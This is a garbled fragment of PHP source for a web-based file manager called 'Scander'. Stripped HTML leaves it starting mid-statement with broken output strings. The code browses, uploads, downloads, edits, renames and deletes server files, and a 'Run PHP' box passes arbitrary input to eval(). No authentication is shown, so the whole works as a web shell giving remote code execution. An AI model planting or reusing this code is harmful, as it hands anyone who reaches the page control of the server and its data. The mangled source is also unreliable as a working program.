Error: Cannot open directory.'; return; } if (count($entries) <= 2) { echo 'Empty directory'; return; } echo ' '; foreach ($entries as $z => $i) { if (preg_match('/^\.+$/', $i)) continue; $path = realpath("$dir/$i"); //$shade = $z % 2 ? '' : ' class="shaded"'; //$shade = ''; $shade = strtolower($i) == strtolower($highlight) ? ' class="highlighted"' : ''; $change = date('j/m/Y g:ia', filectime($path)); if (is_dir($path)) { // directory echo " "; } else { // file $size = number_format(filesize($path), 0, '.', ','); echo " "; } } echo '
 NameBytesChanged   Dir ".html($i)."
  $change Delete Rename  
File ".html($i)."
$size $change Delete Rename Edit
'; } function downloadFile($file) { $filename = basename($file); if (function_exists('mime_content_type')) { $contype = mime_content_type($file); } else { $contype = 'Unknown'; header("Content-Disposition: attachment; filename=\"$filename\""); } header("Content-type: $contype"); echo file_get_contents($file); die; } function uploadFile($outdir) { $uploadBoxes = ''; for ($i = 0; $i < 50; $i++) { $uploadBoxes .= "\t
\r\n"; } echo '

Upload Files

'; if(!isset($_FILES['upFile'])) { echo '
'.$uploadBoxes.'
'; } else { echo "'; echo "

Return

"; } } function editFile($filename, $new=false) { global $thisDir; $filename = realpath($filename); $name = basename($filename); $file = $new ? '' : file_get_contents($filename); $title = $new ? '
' : '

'.html($name).'

'; $saveArgs = $new ? "'".addslashes($filename)."/' + document.getElementById('f').value, document.getElementById('v').value" : "document.getElementById('f').value, document.getElementById('v').value"; //$browseArgs = "'.addslashes($thisDir)."', '".addslashes($name).'"; $browseArgs = "'".addslashes($thisDir)."', ".($new ? "document.getElementById('f').value" : ("'".addslashes($name))."'"); echo " $title
"; } function saveFile($filename, $contents) { echo file_put_contents($filename, $contents) !== false; die; } function renameSubject($subject, $newName) { $success = @rename($subject, dirname($subject).'/'.$newName); $newPath = realpath(dirname($subject).'/'.$newName); echo $success ? $newPath : '0'; die; } function deleteSubject($subject) { if (is_file($subject)) { echo @unlink($subject) ? '1' : '0'; } else if (is_dir($subject)) { echo @rmdir($subject) ? '1' : '0'; } else echo false; die; } function evalBox($command) { if ($command === false) { echo '

Run PHP


'; } else { ob_end_clean(); eval($command); die; } } header('Cache-Control: no-cache'); header('Content-Type: text/html; charset=ISO-8859-1'); ?> Scander - <?php echo html($subject); ?>

Scander